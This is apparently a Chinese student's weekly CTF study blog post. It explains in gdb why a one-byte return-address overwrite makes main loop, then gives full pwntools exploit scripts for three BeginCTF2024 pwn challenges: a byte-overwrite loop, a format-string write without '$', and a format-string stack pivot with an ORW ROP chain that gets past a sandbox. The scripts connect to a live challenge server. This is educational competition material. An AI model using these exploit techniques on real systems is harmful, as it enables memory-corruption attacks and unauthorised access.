本周学习总结
有被创到。
全局常量声明:新手上路,文章内容仅是由教程观点和自己总结获得,仅供参考。
一、诡异的循环…
在接触过编程的同志们都知道,程序本身只会按照自己的代码所写的运行,即使因为一些错误的原因导致的程序执行流不正常,那么也应该只会执行程序中本身有的代码,而不是凭空出现一段诡异的循环。
这是一段程序的源代码:

libc版本:2.35-0ubuntu3_amd64(特定版本实现)
我们可以很轻易的看出在read函数中有8个字节(实际是9个字节)的溢出,当你输入18个A后你就会发现程序流重新进入了main函数进行,这对一个坚信唯物主义的计算机人来说实在是太过于诡异,真是凭空冒出来的循环。
还好,我有gdb启动!

首先来到输入函数中,栈的状态如下:

我们可以看到返回地址是0x7ffff7dbcd90,查看其所在的汇编代码:

我们发现他调用了exit函数,该函数用来退出程序,执行到这里到也正常。我们试试填入18个A看看填入之后栈的状态:

此时原本的返回地址0x7ffff7dbcd90变成了现在的0x7ffff7dbcd41,最后一个字节被覆盖成了A(0x41),我们看看0x7ffff7dbcd41对于的汇编代码:

虽然看不太懂,但是我们仍然看到了exit函数,继续执行看看:

当我们执行到0x7ffff7dbcd8e这一句的时候他执行了rax中的地址,也就是将执行流跳转到了main函数,为什么此时rax中会有main函数的地址?我们可以看看0x7ffff7dbcd89这一句,他将rsp的地址+8,然后取出其中的值写入main函数,我们此时看看rsp在哪里:

rsp此时正好和main的执行地址差8字节,可以说这两句汇编代码直接决定了会重新执行main函数。所以说程序在没有循环代码时出现了循环原来是这个原因。只要我们一直保持返回地址的最后一个字节是0x41,程序就会一直重新循环,而且这种循环似乎只会格式化栈区,而不会影响到其他存储区域比如.bss段。
不得不说,程序真是太神奇辣!
二、Easy–[BeginCTF2024]one_byte–古希腊掌握循环的神
前置技能:gdb调试
下载得到文件one_byte
check!

64位程序,NX+PIE开启。
ida,启动!

循环读出flag,构造循环原理前面介绍过了,这里直接放出exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| from pwn import *
def stre(a): return str(a).encode()
def ph(a, b="addr"): print(b + ":" + hex(a))
def re(a): return p.recv(a)
def pre(a): print(p.recv(a))
def reu(a, b=False): return p.recvuntil(a, drop=b)
def rel(): return p.recvline()
def se(a): p.send(a)
def sea(a, b): p.sendafter(a, b)
def sel(a): p.sendline(a)
def sela(a, b): p.sendlineafter(a, b)
def op(): p.interactive()
def raddr64(): return u64(p.recv(6).ljust(8, b'\x00'))
def raddr32(): return u32(p.recv(4))
def gdbp(p, a=''): if a != '': gdb.attach(p, a) else: gdb.attach(p) pause()
def gret(elf): rop = ROP(elf) rop_ret = rop.find_gadget(["ret"]).address return rop_ret
p = remote("101.32.220.189", 32422)
while 1: reu(b"tf!") reu(b"ft: ") c = reu(b'\n', True) sea(b"result?\n", b"A" * 17 + p8(0x89)) print(c.decode(), end="") op()
|
flag到手:

三、Easy–[BeginCTF2024]no_money–古希腊掌握美刀的神
前置技能:字符串格式化进阶
下载得到文件no_money
check!

64位程序,开启NX+PIE+RELRO全开。
ida启动!

door函数:

在main函数中我们发现了字符串格式化漏洞,但是他禁止我们输入的字符串中包含字符$。这使得我们非常不方便使用字符串格式化漏洞。door中的target是bss段的数据,在开始的时候值为0。我们的目的是在target中写入数据来使得system可以被执行(实际上后来发现似乎可以直接暴露PIE和canary,然后直接溢出劫持程序流绕开判断直接执行system)。main函数中有无限循环,让我们有多次输入机会。
我们这里只需要暴露PIE就够了。算出target的地址后我们需要通过一个准确的写入来改变target的值,因为$被禁用,导致我们写入非常麻烦。我们知道%hhn是写入1字节数据,当我们在没有使用num$时他是默认向栈上的第一个地址所指向的区域中写入数据。此时我们可以从第一次输入的大量的%p得知,每次输出后下一个%p是输出下一个地址。由此可得,我们也可以同样在%hnn前面写一些字符串格式化字符来将%hnn顶到后面去。
在构造时需要注意,”%p“虽然被认为是一个字节,但是在内存中他仍然占两个字节。而且我们不能将target的地址放在第一个位置,因为在x64中地址的最高位是0x00,而printf的逻辑是遇到0x00停止输出,这样会导致我们后面的%hnn不会被执行,我们只能将target的地址放在最后,此时还要注意前面的格式化字符串变多导致target地址位置变化的问题。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| from pwn import *
def stre(a): return str(a).encode()
def ph(a, b="addr"): print(b + ":" + hex(a))
def re(a): return p.recv(a)
def pre(a): print(p.recv(a))
def reu(a, b=False): return p.recvuntil(a, drop=b)
def rel(): return p.recvline()
def se(a): p.send(a)
def sea(a, b): p.sendafter(a, b)
def sel(a): p.sendline(a)
def sela(a, b): p.sendlineafter(a, b)
def op(): p.interactive()
def raddr64(): return u64(p.recv(6).ljust(8, b'\x00'))
def raddr32(): return u32(p.recv(4))
def gdbp(p, a=''): if a != '': gdb.attach(p, a) pause() else: gdb.attach(p) pause()
def gret(elf): rop = ROP(elf) rop_ret = rop.find_gadget(["ret"]).address return rop_ret
p = remote("101.32.220.189", 31834)
payload = b"%p," * 25 + b"%p-" * 8 sea(b"payload:", payload) reu(b'-') pie = int(reu(b'-', True), 16) - 0x1277 ph(pie, "pie") addr = pie + 0x404C ph(addr) payload = b"%c" * 8 + b"%c%c%hhn" + p64(addr)
sea(b"payload:", payload) p.recvrepeat(timeout=1) op()
|
flag到手:

四、Hard–[BeginCTF2024]aladdin–古希腊掌握愿望的神
前置技能:字符串格式化进阶+gdb调试+栈迁移+沙盒绕开
下载得到文件aladdin和libc.so.6
check:

64位程序,保护全开。
ida启动!



在main函数中发现了字符串格式化漏洞,但是只有三次写入机会,程序中没有system和“/bin/sh”。
因为使用的技巧太多,这里使用一些提示性解释:
1.栈中有许多二重指针,你可以尝试修改他们的指向来对返回地址进行修改
2.和one_byte一样可以构造循环,此时bss段的数据不变反而变成-1
3.通过多次写入完全改变返回地址的值,然后跳出循环执行
4.在bss段尝试部署ROP,你也可以尝试直接在栈上部署,不过要绕开一些问题
5.程序开启了沙盒,不能使用execv等函数,只能用orw
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139
| from pwn import *
def stre(a): return str(a).encode()
def ph(a, b="addr"): print(b + ":" + hex(a))
def re(a): return p.recv(a)
def pre(a): print(p.recv(a))
def reu(a, b=False): return p.recvuntil(a, drop=b)
def rel(): return p.recvline()
def se(a): p.send(a)
def sea(a, b): p.sendafter(a, b)
def sel(a): p.sendline(a)
def sela(a, b): p.sendlineafter(a, b)
def op(): p.interactive()
def raddr64(): return u64(p.recv(6).ljust(8, b'\x00'))
def raddr32(): return u32(p.recv(4))
def gdbp(p, a=''): if a != '': gdb.attach(p, a) pause() else: gdb.attach(p) pause()
def gret(elf): rop = ROP(elf) rop_ret = rop.find_gadget(["ret"]).address return rop_ret
p = remote("101.32.220.189", 32185)
elf = ELF("./pwn") libc = ELF("./libc.so.6")
payload = b"%35$p-%23$p-%19$p-" sea(b"wish:\n", payload)
libc_base = int(reu(b'-', True), 16) - 128 - libc.sym["__libc_start_main"] ph(libc_base, "libc_base")
pie = int(reu(b'-', True), 16) - 0x1229 ph(pie, "pie")
fack1 = int(reu(b'-', True), 16) - 272 ph(fack1, "fack1")
pop_rdi = libc_base + 0x2a3e5 ph(pop_rdi, "pop_rdi")
payload = b"%" + stre(fack1 & 0xffff) + b"c" + b"%19$hn" sea(b"wish:\n", payload)
payload = b"%137c%49$hhn" sea(b"wish:\n", payload)
wish_addr = pie + 0x4060 + 0x10 ph(wish_addr, "wish_addr")
leave_ret = libc_base + 0x4da83
payload = b"%" + stre((fack1 - 0x8) & 0xffff) + b"c" + b"%19$hn" sea(b"wish:\n", payload)
payload = b"%" + stre(wish_addr & 0xffff) + b"c" + b"%49$hn" sea(b"wish:\n", payload)
payload = b"%" + stre((fack1 - 0x6) & 0xffff) + b"c" + b"%19$hn" sea(b"wish:\n", payload)
payload = b"%" + stre((wish_addr >> 16) & 0xffff) + b"c" + b"%49$hn" sea(b"wish:\n", payload)
payload = b"%" + stre((fack1 - 0x4) & 0xffff) + b"c" + b"%19$hn" sea(b"wish:\n", payload)
payload = b"%" + stre((wish_addr >> 32) & 0xffff) + b"c" + b"%49$hn" sea(b"wish:\n", payload)
payload = b"%" + stre(fack1 & 0xffff) + b"c" + b"%19$hn" sea(b"wish:\n", payload)
payload = b"%" + stre(leave_ret & 0xffff) + b"c" + b"%49$hn" sea(b"wish:\n", payload)
payload = b"%" + stre((fack1 + 0x2) & 0xffff) + b"c" + b"%19$hn" sea(b"wish:\n", payload)
payload = b"%" + stre((leave_ret >> 16) & 0xffff) + b"c" + b"%49$hn" sea(b"wish:\n", payload)
payload = b"%" + stre((fack1 + 0x4) & 0xffff) + b"c" + b"%19$hn" sea(b"wish:\n", payload)
payload = b"%" + stre((leave_ret >> 32) & 0xffff) + b"c" + b"%49$hn" sea(b"wish:\n", payload)
pop_rsi = libc_base + 0x2be51 pop_rdx = libc_base + 0x796a2 open_addr = libc_base + libc.sym["open"] read_addr = libc_base + libc.sym["read"] write_addr = libc_base + libc.sym["write"]
payload = b"one more wishAAA" + b"flag\x00\x00\x00\x00" payload += p64(pop_rdi) + p64(wish_addr) + p64(pop_rsi) + p64(0) + p64(open_addr) + p64(pop_rdi) payload += p64(0x3) + p64(pop_rsi) + p64(wish_addr) + p64(pop_rdx) + p64(0x2c) + p64(read_addr) payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(wish_addr) + p64(pop_rdx) + p64(0x2c) payload += p64(write_addr) sea(b"wish:\n", payload) reu(b"broken") op()
|
flag到手:

下周学习计划
| 应该要做的事情 |
学习感受
解题!爽!